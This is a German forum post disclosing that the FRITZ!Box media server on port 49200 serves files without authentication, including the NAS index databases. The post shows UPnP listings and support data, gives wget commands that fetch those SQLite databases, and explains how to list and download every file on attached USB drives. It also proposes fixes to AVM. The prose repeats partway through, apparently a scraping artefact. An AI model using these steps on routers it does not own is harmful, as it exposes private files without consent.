- Mitglied seit
- 10 Mai 2006
- Beiträge
- 15,256
- Punkte für Reaktionen
- 1,747
- Punkte
- 113
Wer von uns kennt nicht den "Mediaserver", der von AVM in Werbevideos und Anleitungen angepriesen wird als Schmalspurlösung für die Bereitstellung von Medien-Dateien auf den an die FRITZ!Box angeschlossenen Speichermedien.
Dieser hatte in der Vergangenheit mal das Problem, daß er zu geschwätzig war und über ihn per "directory traversal" der lesende Zugriff auch auf interne Dateien des FRITZ!OS möglich war.
Schaut man sich heute eine aktuelle Firmware an, bietet sich immer noch ein Bild, das mir persönlich (aber ich bin da auch recht (über)empfindlich) kalte Schauer über den Rücken jagt.
Alle hier beschriebenen Aktionen und Tests wurden auf einer 6490 mit Firmware 06.63 (als jüngster Repräsentant der "stable"-Versionen) und einzelne auch zur Kontrolle auf einer 7490 mit 06.69-41875 (als Laborversion) ausgeführt - bei der 6490 wurden zuvor die Werkseinstellungen geladen, bei der 7490 allerdings nicht. Daher sind Aussagen zu irgendwelchen Standardeinstellungen bei einer "frischen" Box bei der Labor-Version nicht möglich - angesichts der Änderungen mit der neuen Möglichkeit, den Samba- und den internen FTP-Service getrennt voneinander zu aktivieren, wäre es ja auch denkbar, daß AVM das Standardstartverhalten für alle diese Services überdacht hat und der Punkt 2 in der oben verlinkten AVM-Seite künftig tatsächlich erforderlich ist.
Die Feststellung zu den Standardwerten bei der 6490 habe ich auch dreimal geprüft, indem ich immer wieder auf Werkseinstellungen zurückgesetzt habe, dann den Assistenten über mich ergehen ließ (immer schön "Weiter") und ansonsten gar nichts weiter eingestellt wurde - die Box hat ein voreingestelltes GUI-Kennwort, so daß man schon davon ausgehen kann, daß es sich im Ergebnis um eine "typische Konfiguration" bei Otto Normaluser handelt.
Aber in medias res (was paßt besser bei diesem Thema) - es gibt für diesen Mediaserver dann die Möglichkeit, dessen Home-Verzeichnis (er hat nur eines) einzustellen. Es gäbe einmal die Einstellung "keine Einschränkungen" für das NAS-Verzeichnis "/var/media/ftp" als Basis mit Zugriff auf die Unterverzeichnisse für die gemounteten USB-Volumes und alle darauf liegenden Media-Dateien (zunächst mal). Die Alternative ist das "Verschieben" des Home-Verzeichnisses auf eines der gemounteten USB-Volumes ... daher sind das wohl auch Radio-Buttons im GUI bei der Festlegung der freigegebenen Dateien in Heimnetz. Mit sehr viel gutem Willen kann man die oben verlinkte AVM-Seite in Punkt 1 so interpretieren, daß AVM das gerne auf einem gesonderten Speichermedium sehen würde - allerdings werden dafür keinerlei Vorkehrungen seitens der Firmware getroffen. Denn die Standardeinstellung der FRITZ!Box 6490 sieht nach dem Absolvieren der Assistenten bei der Ersteinrichtung dann so aus:
Der Mediaserver ist also bereits aktiviert und er bietet seine Dienste auch für den internen NAS-Speicher und die beiden angeschlossenen USB-Speichergeräte an.
Die Annahme, daß sich der "Fokus" bzw. das Home-Directory bei der Änderung des freigegebenen Volumes verschiebt, kann man an den URLs für den Zugriff auf die Media-Dateien überprüfen ... enthalten sie bei "keine Einschränkungen" noch die Verzeichnisebene für den Mountpoint des Volumes, so verschwindet dieser, wenn man die Einstellung auf eines der Volumes setzt.
Nun kann man ja mit einem Media-Player (ich habe den VLC benutzt) das "Angebot" des Mediaservers überprüfen (oder mit eigenen Requests, allerdings ist das für einen Test viel Schreibarbeit), dabei ergibt sich für die erste Ebene von Ordnern folgende Ausgabe:
Das korrespondiert auch mit der Anzeige eines entsprechenden Media-Players, der "sieht" auch nur diese sechs Ordner in der obersten Ebene.
Schaut man sich dann mal einen der Dateieinträge genauer an, sieht man auch die zum Download notwendige URL:
Nun sollte man ja annehmen, daß der Mediaserver auch nur die Dateien "serviert", die er in den Medienordnern anzeigt. Streng genommen ist das auch so ... das Problem (zumindest in meinen Augen) ist es aber, daß der HTTP-Server für den Download der Dateien zwar wohl noch einige (virtuelle) Pfade auswertet, aber am Ende gar nicht auf denselben Datenbestand zurückgreift wie der Mediaserver, wenn es um die Berechtigung für den Download einer Datei geht.
Das führt dann zu dem Ergebnis, daß man - sofern man den Namen der gewünschten Datei kennt, denn natürlich gibt es dort kein Inhaltsverzeichnis - über eine solche URL so ziemlich jede dort lagernde Datei laden kann, ich habe jedenfalls auf Anhieb keine Datei gefunden, bei der das nicht geklappt hätte.
Sucht man jetzt ein wenig in den Support-Daten (wir nehmen mal an, daß es keinen Shell-Zugang zur FRITZ!Box gibt, ansonsten kann man das natürlich auch einfacher haben), findet man schnell die Sektion für die "nas_db":
Hier gibt es also drei (verteilte) Datenbanken, wobei offensichtlich auf jedem USB-Volume (davon gibt es zwei, mit den Namen "pentest" und "MULTIBOOT") eine Datenbank liegt. Daß es sich bei dieser Datenbank um ein SQLite3-Format handeln dürfte, legt schon die Erweiterung und der Blick in die DSOs (in /lib) nahe.
Die Existenz der Datenbanken ist erst einmal auch unabhängig davon, ob der Mediaserver aktiviert ist oder nicht und ob der auf ein einzelnes Volume festgelegt ist ... AVM verwendet diese Index-Datenbanken offenbar für mehrere Dienste (wohl u.a. für den GUI-Zugriff auf die NAS-Daten).
Das Spannende daran ist es aber, daß sich diese Datenbanken ja offensichtlich ebenfalls unterhalb des "Wurzelverzeichnisses" eines gestarteten Mediaservers befinden. Den Pfad dorthin zu erraten, ist nun keine so richtig große Kunst - einen Startpunkt findet man halt unmittelbar über den Pfad /FRITZ/mediabox/fritznasdb_part.db3.
Gesetzt den Fall, daß die Wurzel des Mediaservers in /var/media/ftp liegt, steht man zwar noch vor der Aufgabe, den Namen des Mountpoints für ein USB-Volume irgendwie zu ermitteln, aber das ist dank der verschiedenen Ansichten, die der Mediaserver für uns bereithält, auch kein wirkliches Problem - das machen wir gleich.
Nicht aus den Augen verlieren sollte man auch die Zeilen mit der Anzahl der bei der Index-Erstellung gefundenen Dateien:
Nun hatten wir ja weiter oben die Liste der möglichen Media-Dateien seitens der FRITZ!Box mit folgenden Namen ermittelt:
Nun kommen wir an diese Dateien ja trotzdem nicht per Download über den Mediaserver heran, solange wir nicht den genauen Pfad zu einer solchen Datei kennen. Nehmen wir mal an, daß da für den Mediaserver "keine Einschränkung" konfiguriert ist, dann startet unser über diesen Dienst erreichbarer "Verzeichnisbaum" ja unter /var/media/ftp und die erste Ebene bilden die Dateien im NAND-Flash der Box (dem für das NAS). In dieser Ebene gibt es dann neben den direkt dort gespeicherten Verzeichnissen und Dateien noch dynamisch erzeugte Verzeichnisse, die als Mountpoint für die USB-Volumes dienen - deren Namen sind erst einmal nicht vorhersagbar (jedenfalls nicht für jemanden ohne NAS-Rechte).
Aber der Mediaserver bietet uns ja auch für jeden Mediatyp eine Ansicht "Ordner" oder "Alle Titel" und auch die dort enthaltenen URLs für den Download geben ja entsprechende Hinweise auf die Namen der Mountpoints für die USB-Volumes.
Nachdem man dann diese Informationen eingesammelt hat, kann man ja mal versuchen, mit ihnen auf die Index-Datenbanken zuzugreifen ... wir erinnern uns, daß der jeweilige Pfad dorthin auf "/FRITZ/mediabox/fritznasdb_part.db3" endet und davor dann halt nichts oder der Name des Mountpoints kommt. Damit funktionieren dann auch die folgenden Kommandos:
Die Struktur der Datenbank kann uns jetzt Auskunft geben, welche Datenfelder für diese "other items" gespeichert sind:
OK, die Tabelle, in der die Dateien aufgeführt sind, welche nicht als Media-Dateien erkannt wurden, heißt also auch noch "other" und hat einige Felder, die wohl einen Pfad enthalten (wenn so ein Feld schon "parentpath" heißt, ist diese Vermutung nicht ganz abwegig).
Lassen wir uns einfach mal die ein paar Datensätze ausgeben aus der Datenbank für den USB-Stick mit dem Label "pentest" (die Ergebnisse habe ich "ausgedünnt"):
Das sind also jede Menge Dateinamen, die man dort frei Haus geliefert bekommt (noch einmal deutlich, bis hier brauchte es nicht eine einzige Anmeldung an der FRITZ!Box - obwohl die natürlich korrekt eingestellt ist, ich habe nicht eine AVM-Warnung im Assistenten ignoriert) und am Ende braucht man eigentlich nur noch ein passendes SQL-Kommando auf die Datenbank loslassen, um eine Liste aller dort indizierten Dateien zu erhalten.
Damit haben wir jetzt (muß ich erneut daran erinnern?) immer noch ohne eine einzige Authentifizierung ggü. der FRITZ!Box schon mal eine komplette Liste all der Dateien, die sich auf dem USB-Stick befinden - diese Liste ist tatsächlich vollständig, wenn man mal zählen läßt (das geht nun wirklich nur über die Shell auf der Box):
Das paßt ja schon fast zu perfekt.
Jedenfalls lassen sich jetzt diese Dateien alle der Reihe nach über eine passende URL von der FRITZ!Box laden ... und das (man ahnt es fast) immer noch ohne jede Anmeldung.
Exemplarisch mal eine einzelne:
Damit lasse ich mich zu der Behauptung hinreißen, daß man sich (zumindest wenn es um das Lesen von Dateiinhalten geht) die Vergabe getrennter Rechte für irgendwelche NAS-Benutzer auch getrost schenken kann - damit kann man höchstens die Zugriffe be-, aber nicht verhindern.
Die "Vertraulichkeit" des Inhalts dort liegender Dateien darf man jedenfalls nicht dieser Rechtevergabe anvertrauen, zumindest dann nicht, wenn gleichzeitig ein Zugriff auf so einen Datenträger über den Mediaserver der FRITZ!Box möglich ist - und das ist erwiesenermaßen die Standardeinstellung einer FRITZ!Box 6490 und vermutlich auch noch der 7490-Laborversion, es sei denn, AVM hat es doch noch geändert in diesem Zweig.
-Zwar gelingen diese Zugriffe tatsächlich nur aus dem (W)LAN ... aber ich bin mir ziemlich sicher, daß sich lange nicht jeder FRITZ!Box-Besitzer der Tatsache bewußt war (und ist), daß in der Standardeinstellung (Mediaserver läuft mit "keine Einschränkungen") wirklich jeder USB-Speicher an der FRITZ!Box bis zur letzten Datei ausgelesen werden kann, selbst wenn man sich als Besitzer redlich darum bemüht hat, die Zugriffsrechte der Benutzer per FTP, Samba und GUI ordentlich zu regeln. Allerdings kann man über den Mediaserver nichts schreiben ... das ist zumindest mal ein kleiner Pluspunkt.
Was könnte AVM hier besser machen? Ich sage mal, so einiges ... das geht bereits damit los, daß man den Zugriff auf die Index-Datenbanken über jeden Weg des Zugriffs auf den NAS-Speicher blockieren sollte, das gilt eigentlich auch für die BPjM-Sperrliste, denn auch die stellt das System in einem dieser "FRITZ"-Ordner bereit und den Namen braucht man nicht raten.
Ohne diese Index-Datenbanken fällt schon mal ein wichtiger Punkt weg, denn ohne Kenntnis der genauen URL kann ein Angreifer nur raten bzw. probieren, welche Dateien dort erreichbar wären.
Der nächste Schritt wäre das Verstecken der tatsächlichen Verzeichnisstruktur im Inhaltsverzeichnis des Mediaservers ... an die Stelle des kompletten Pfades in einer URL für den Download könnte problemlos eine GUID (das ist eine eindeutige ID - globally unique) treten und dann braucht es eben ein passendes Mapping von dieser GUID (das kann eine SQLite3-DB auch gleich verwalten) auf den tatsächlichen Dateinamen.
Das macht dann das Raten praktisch unmöglich und wenn sich dann - als dritte Maßnahme - der Webserver für den Download auch noch daran orientiert, ob eine angeforderte Datei im Katalog des Mediaservers überhaupt veröffentlicht ist, dann ist (a) automatisch der Download der Index-DB blockiert und wenn man (b) nur für solche Dateien überhaupt eine GUID generiert, die auch abgerufen werden dürfen, dann gibt es für die ganzen Dateien in "other" gar keine "Adresse", mit der man da zugreifen könnte.
Diese drei Vorschläge überlappen sich zwar teilweise in ihren Effekten ... aber fällt dann mal eine dieser Maßnahmen aus (meinetwegen läßt sich der Webserver für den Dateidownload irgendwie austricksen), dann stehen die anderen Hindernisse trotzdem noch im Weg als weitere "line of defense". Wie wichtig mehrere solcher Verteidigungslinien nacheinander sein können, ist auch wieder eine Binsenweisheit.
Das Blockieren des Zugriffs auf die Index-Dateien ist sicherlich am leichtesten ... die ganzen NAS-Zugriffe prüfen ohnehin schon recht genau, daß da nicht außerhalb der gültigen Verzeichnisse zugegriffen werden kann, da ist die zusätzliche Prüfung, daß auf "FRITZ" nicht zugegriffen werden darf, eigentlich nur noch eine Formalie (die Quellen für diesen Teil der Firmware sind veröffentlicht im OpenSource-Paket).
Die dritte Maßnahme wäre fast schon als Abfallprodukt verfügbar, wenn man die zweite umsetzt ... die versteckt erstens die realen Verzeichnisstrukturen und wenn dann eine Datei ohne GUID gar nicht geladen werden kann, dann ist die "Entscheidung" für den Webserver (auf Port 49200) praktisch nicht mehr nötig, denn dann kriegen einfach nur die Media-Dateien eine solche GUID zugewiesen.
-Aber ist es nicht eigentlich halb so wild, wenn man da alle USB-Speicher auslesen kann?
Das muß am Ende jeder selbst wissen ... immerhin steht dieser Zugriff derzeit jedem beliebigen Gerät im Heimnetz offen (und zwar ... da kommt Ihr nie drauf ... ohne jede Authentifizierung
) und wenn mit dem IoT in der Zukunft immer mehr Geräte hinzukommen, dann kommen garantiert auch weitere "Lücken" in diesen Geräten auf. Wenn heute irgendeine Überwachungskamera für große DDoS-Angriffe rekrutiert werden kann, dann geht das morgen für den Kühlschrank und andere "weiße Ware" - bei anderen "Gadgets" ist das heute schon die Realität. Wenn der FireTV-Stick in aller Stille noch die Inhaltsverzeichnisse des NAS der FRITZ!Box einsammelt und an irgendeine "Sammelstelle" übermittelt, dann kann man sich als Angreifer auch nur noch gezielt die Dateien zusenden lassen, die man für "lesenswert" hält (und auch diese Auswahl kann noch eine Heuristik übernehmen).
Wer hingegen hingeht und sich z.B. OwnCloud auf seiner FRITZ!Box installiert und die Daten auf einem USB-Volume ablegt, der macht das vermutlich auch mit dem Gedanken im Hinterkopf, daß dann seine Daten auf der eigenen FRITZ!Box etwas sicherer vor dem Ausspähen sind ... läuft parallel noch der AVM-Mediaserver auf der Box mit (selbst ich kenne nicht so viele Leute, die den extra abschalten - wer würde denn auch schon erwarten, daß so ein Dienst standardmäßig aktiviert wird), sind die Daten vermutlich bei einem Cloud-Anbieter sogar noch sicherer vor allzu neugierigen Blicken (da lesen dann nur noch irgendwelche Dienste ständig mit).
Zumindest könnte dann AVM bei aktivierten Mediaserver für das freigegebene (oder eben alle, je nach Einstellungen) Volume(s) ehrlicherweise die Möglichkeit der Vergabe von "Leserechten" gleich deaktivieren - das ist ein reines Placebo (noch mal: unter den geschilderten Rahmenbedingungen).
Dieser hatte in der Vergangenheit mal das Problem, daß er zu geschwätzig war und über ihn per "directory traversal" der lesende Zugriff auch auf interne Dateien des FRITZ!OS möglich war.
Schaut man sich heute eine aktuelle Firmware an, bietet sich immer noch ein Bild, das mir persönlich (aber ich bin da auch recht (über)empfindlich) kalte Schauer über den Rücken jagt.
Alle hier beschriebenen Aktionen und Tests wurden auf einer 6490 mit Firmware 06.63 (als jüngster Repräsentant der "stable"-Versionen) und einzelne auch zur Kontrolle auf einer 7490 mit 06.69-41875 (als Laborversion) ausgeführt - bei der 6490 wurden zuvor die Werkseinstellungen geladen, bei der 7490 allerdings nicht. Daher sind Aussagen zu irgendwelchen Standardeinstellungen bei einer "frischen" Box bei der Labor-Version nicht möglich - angesichts der Änderungen mit der neuen Möglichkeit, den Samba- und den internen FTP-Service getrennt voneinander zu aktivieren, wäre es ja auch denkbar, daß AVM das Standardstartverhalten für alle diese Services überdacht hat und der Punkt 2 in der oben verlinkten AVM-Seite künftig tatsächlich erforderlich ist.
Die Feststellung zu den Standardwerten bei der 6490 habe ich auch dreimal geprüft, indem ich immer wieder auf Werkseinstellungen zurückgesetzt habe, dann den Assistenten über mich ergehen ließ (immer schön "Weiter") und ansonsten gar nichts weiter eingestellt wurde - die Box hat ein voreingestelltes GUI-Kennwort, so daß man schon davon ausgehen kann, daß es sich im Ergebnis um eine "typische Konfiguration" bei Otto Normaluser handelt.
Aber in medias res (was paßt besser bei diesem Thema) - es gibt für diesen Mediaserver dann die Möglichkeit, dessen Home-Verzeichnis (er hat nur eines) einzustellen. Es gäbe einmal die Einstellung "keine Einschränkungen" für das NAS-Verzeichnis "/var/media/ftp" als Basis mit Zugriff auf die Unterverzeichnisse für die gemounteten USB-Volumes und alle darauf liegenden Media-Dateien (zunächst mal). Die Alternative ist das "Verschieben" des Home-Verzeichnisses auf eines der gemounteten USB-Volumes ... daher sind das wohl auch Radio-Buttons im GUI bei der Festlegung der freigegebenen Dateien in Heimnetz. Mit sehr viel gutem Willen kann man die oben verlinkte AVM-Seite in Punkt 1 so interpretieren, daß AVM das gerne auf einem gesonderten Speichermedium sehen würde - allerdings werden dafür keinerlei Vorkehrungen seitens der Firmware getroffen. Denn die Standardeinstellung der FRITZ!Box 6490 sieht nach dem Absolvieren der Assistenten bei der Ersteinrichtung dann so aus:
Der Mediaserver ist also bereits aktiviert und er bietet seine Dienste auch für den internen NAS-Speicher und die beiden angeschlossenen USB-Speichergeräte an.
Die Annahme, daß sich der "Fokus" bzw. das Home-Directory bei der Änderung des freigegebenen Volumes verschiebt, kann man an den URLs für den Zugriff auf die Media-Dateien überprüfen ... enthalten sie bei "keine Einschränkungen" noch die Verzeichnisebene für den Mountpoint des Volumes, so verschwindet dieser, wenn man die Einstellung auf eines der Volumes setzt.
Nun kann man ja mit einem Media-Player (ich habe den VLC benutzt) das "Angebot" des Mediaservers überprüfen (oder mit eigenen Requests, allerdings ist das für einen Test viel Schreibarbeit), dabei ergibt sich für die erste Ebene von Ordnern folgende Ausgabe:
Code:
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
<container id="4:cont1:20:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Musik[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
<container id="4:cont1:90:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Bilder[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
<container id="4:cont2:120:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Filme[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
<container id="4:cont2:150:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Internetradio[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
<container id="4:cont2:160:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Podcasts[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
<container id="4:cont2:170:0:0:" parentID="0" restricted="0">
<dc:title>[COLOR="#FF0000"][B]Datei-Index[/B][/COLOR]</dc:title>
<upnp:class>object.container</upnp:class>
</container>
</DIDL-Lite>Schaut man sich dann mal einen der Dateieinträge genauer an, sieht man auch die zum Download notwendige URL:
Code:
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
<item id="indexation_upnp_id" parentID="4:cont2:170:0:0:" restricted="0">
<dc:title>Indexierung starten</dc:title>
<upnp:class>object.item.audioItem.musicTrack</upnp:class>
<upnp:actor>Datei-Index</upnp:actor>
<upnp:artist role="AlbumArtist">Datei-Index</upnp:artist>
<res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"][B]http://192.168.178.254:49200/AUDIO/DLNA-1-0/.start_indexation.mp3[/B][/COLOR]</res>
</item>
</DIDL-Lite>Das führt dann zu dem Ergebnis, daß man - sofern man den Namen der gewünschten Datei kennt, denn natürlich gibt es dort kein Inhaltsverzeichnis - über eine solche URL so ziemlich jede dort lagernde Datei laden kann, ich habe jedenfalls auf Anhieb keine Datei gefunden, bei der das nicht geklappt hätte.
Sucht man jetzt ein wenig in den Support-Daten (wir nehmen mal an, daß es keinen Shell-Zugang zur FRITZ!Box gibt, ansonsten kann man das natürlich auch einfacher haben), findet man schnell die Sektion für die "nas_db":
Code:
##### BEGIN SECTION nas_db Fritznasdb
fritznasdb not running
partition: 579924004 (part1)
partition type: usb read-write
partition path: /var/media/ftp/pentest
[COLOR="#008000"] db file: /var/media/ftp/pentest/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
db version: 1.021.379
scan status: update complete
scan start time: 08.01.2000 14:59:33
scan end time: 08.01.2000 14:59:34
[COLOR="#FF0000"] item count: audio: 1, video: 1, image: 1, doc: 5, other: 130[/COLOR]
partition: 956349320 (part3)
partition type: internal nand
partition path: /var/media/ftp
[COLOR="#008000"] db file: /var/media/ftp/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
db version: 1.021.379
scan status: fullscan complete
scan start time: 08.01.2000 14:59:33
scan end time: 08.01.2000 14:59:33
[COLOR="#FF0000"] item count: audio: 1, video: 1, image: 1, doc: 3, other: 7[/COLOR]
partition: 1775974996 (part2)
partition type: usb read-write
partition path: /var/media/ftp/MULTIBOOT
[COLOR="#008000"] db file: /var/media/ftp/MULTIBOOT/FRITZ/mediabox/fritznasdb_part.db3[/COLOR]
db version: 1.021.379
scan status: update complete
scan start time: 08.01.2000 14:59:34
scan end time: 08.01.2000 14:59:34
[COLOR="#FF0000"] item count: audio: 0, video: 0, image: 5, doc: 11, other: 68[/COLOR]
total item count: 235
upnpcont: <root>, childs: 6, browsed: 6/50
time: 0.102560 (total matches: 0.000246 [io: 0 R, 0 W, 0 S], browse: 0.102314 [io: 0 R, 0 W, 0 S])
upnpcont: Musik, childs: 6, browsed: 6/50
time: 0.074611 (total matches: 0.000019 [io: 0 R, 0 W, 0 S], browse: 0.074592 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Interpreten, childs: 1, browsed: 1/50
time: 0.092898 (total matches: 0.048670 [io: 0 R, 0 W, 0 S], browse: 0.044228 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Alben, childs: 1, browsed: 1/50
time: 0.095605 (total matches: 0.046899 [io: 0 R, 0 W, 0 S], browse: 0.048706 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Titel, childs: 1, browsed: 1/50
time: 0.098964 (total matches: 0.051095 [io: 0 R, 0 W, 0 S], browse: 0.047869 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Genres, childs: 1, browsed: 1/50
time: 0.099288 (total matches: 0.050295 [io: 0 R, 0 W, 0 S], browse: 0.048993 [io: 0 R, 0 W, 0 S])
upnpcont: Musik-Ordner, childs: 1, browsed: 1/50, entries: pentest
time: 0.118042 (total matches: 0.049794 [io: 0 R, 0 W, 0 S], browse: 0.068248 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder, childs: 2, browsed: 2/50
time: 0.063033 (total matches: 0.000023 [io: 0 R, 0 W, 0 S], browse: 0.063010 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Alle Bilder, childs: 1, browsed: 1/50
time: 0.109173 (total matches: 0.061482 [io: 0 R, 0 W, 0 S], browse: 0.047691 [io: 0 R, 0 W, 0 S])
upnpcont: Bilder-Ordner, childs: 1, browsed: 1/50, entries: pentest
time: 0.118480 (total matches: 0.052029 [io: 0 R, 0 W, 0 S], browse: 0.066451 [io: 0 R, 0 W, 0 S])
upnpcont: Filme, childs: 2, browsed: 2/50
time: 0.065745 (total matches: 0.000018 [io: 0 R, 0 W, 0 S], browse: 0.065727 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Alle Filme, childs: 1, browsed: 1/50
time: 0.125515 (total matches: 0.055100 [io: 0 R, 0 W, 0 S], browse: 0.070415 [io: 0 R, 0 W, 0 S])
upnpcont: Filme-Ordner, childs: 1, browsed: 1/50, entries: pentest
time: 0.120200 (total matches: 0.051314 [io: 0 R, 0 W, 0 S], browse: 0.068886 [io: 0 R, 0 W, 0 S])
upnpcont: Internetradio, childs: 0, browsed: 0/50
time: 0.127613 (total matches: 0.053844 [io: 0 R, 0 W, 0 S], browse: 0.073769 [io: 0 R, 0 W, 0 S])
upnpcont: Podcasts, childs: 0, browsed: 0/50
time: 0.174508 (total matches: 0.094891 [io: 0 R, 0 W, 0 S], browse: 0.079617 [io: 0 R, 0 W, 0 S])
fnas browse: /var/media/ftp, sort: title, entries: 12
time: 1.084228 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/pentest, sort: title, entries: 44
time: 0.916423 [io: 0 R, 0 W, 0 S]
fnas browse: /var/media/ftp/MULTIBOOT, sort: title, entries: 37
time: 0.398975 [io: 0 R, 0 W, 0 S]
##### END SECTION nas_dbDie Existenz der Datenbanken ist erst einmal auch unabhängig davon, ob der Mediaserver aktiviert ist oder nicht und ob der auf ein einzelnes Volume festgelegt ist ... AVM verwendet diese Index-Datenbanken offenbar für mehrere Dienste (wohl u.a. für den GUI-Zugriff auf die NAS-Daten).
Das Spannende daran ist es aber, daß sich diese Datenbanken ja offensichtlich ebenfalls unterhalb des "Wurzelverzeichnisses" eines gestarteten Mediaservers befinden. Den Pfad dorthin zu erraten, ist nun keine so richtig große Kunst - einen Startpunkt findet man halt unmittelbar über den Pfad /FRITZ/mediabox/fritznasdb_part.db3.
Gesetzt den Fall, daß die Wurzel des Mediaservers in /var/media/ftp liegt, steht man zwar noch vor der Aufgabe, den Namen des Mountpoints für ein USB-Volume irgendwie zu ermitteln, aber das ist dank der verschiedenen Ansichten, die der Mediaserver für uns bereithält, auch kein wirkliches Problem - das machen wir gleich.
Nicht aus den Augen verlieren sollte man auch die Zeilen mit der Anzahl der bei der Index-Erstellung gefundenen Dateien:
Code:
item count: audio: 1, video: 1, image: 1, doc: 5, other: 130
item count: audio: 1, video: 1, image: 1, doc: 3, other: 7
item count: audio: 0, video: 0, image: 5, doc: 11, other: 68- Musik
- Bilder
- Filme
- Internetradio
- Podcasts
- Datei-Index
Nun kommen wir an diese Dateien ja trotzdem nicht per Download über den Mediaserver heran, solange wir nicht den genauen Pfad zu einer solchen Datei kennen. Nehmen wir mal an, daß da für den Mediaserver "keine Einschränkung" konfiguriert ist, dann startet unser über diesen Dienst erreichbarer "Verzeichnisbaum" ja unter /var/media/ftp und die erste Ebene bilden die Dateien im NAND-Flash der Box (dem für das NAS). In dieser Ebene gibt es dann neben den direkt dort gespeicherten Verzeichnissen und Dateien noch dynamisch erzeugte Verzeichnisse, die als Mountpoint für die USB-Volumes dienen - deren Namen sind erst einmal nicht vorhersagbar (jedenfalls nicht für jemanden ohne NAS-Rechte).
Aber der Mediaserver bietet uns ja auch für jeden Mediatyp eine Ansicht "Ordner" oder "Alle Titel" und auch die dort enthaltenen URLs für den Download geben ja entsprechende Hinweise auf die Namen der Mountpoints für die USB-Volumes.
Code:
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"><item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3</res> </item><item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0"> <dc:title>FRITZ!</dc:title> <upnp:class>object.item.audioItem.musicTrack</upnp:class> <res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000" >http://192.168.178.254:49200/AUDIO/DLNA-1-0/pentest/Musik/FRITZ-Song.mp3</res> </item></DIDL-Lite>
<?xml version="1.0"?>
<DIDL-Lite xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/" xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/">
<item id="5:audio5:part31:12:19" parentID="4:cont2:530:3:AVM0:" restricted="0">
<dc:title>FRITZ!</dc:title>
<upnp:class>object.item.audioItem.musicTrack</upnp:class>
<res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"]http://192.168.178.254:49200/AUDIO/DLNA-1-0/Musik/FRITZ-Song.mp3[/COLOR]</res>
</item>
<item id="5:audio5:part11:12:23" parentID="4:cont2:530:3:AVM0:" restricted="0">
<dc:title>FRITZ!</dc:title>
<upnp:class>object.item.audioItem.musicTrack</upnp:class>
<res protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_CI=0;DLNA.ORG_FLAGS=01700000000000000000000000000000">[COLOR="#FF0000"]http://192.168.178.254:49200/AUDIO/DLNA-1-0/[COLOR="#FF0000"]pentest[/COLOR]/Musik/FRITZ-Song.mp3[/COLOR]</res>
</item>
</DIDL-Lite>
Code:
# [COLOR="#0000FF"][B]wget -q -O nas.db3 http://192.168.178.254:49200/FRITZ/mediabox/fritznasdb_part.db3[/B][/COLOR]
# [COLOR="#0000FF"][B]wget -q -O nas_pentest.db3 http://192.168.178.254:49200/pentest/FRITZ/mediabox/fritznasdb_part.db3[/B][/COLOR]
# [COLOR="#0000FF"][B]ls -la[/B][/COLOR]
total 136
drwxr-xr-x 2 root root 4096 Nov 9 00:29 ./
drwxrwxrwt 15 root root 4096 Nov 9 00:27 ../
-rw-r--r-- 1 root root 52224 Jan 1 2000 nas.db3
-rw-r--r-- 1 root root 77824 Jan 1 2000 nas_pentest.db3
Code:
# [COLOR="#0000FF"][B]sqlite3 nas.db3 .schema >nas_schema.sql[/B][/COLOR]
# cat nas_schema.sql
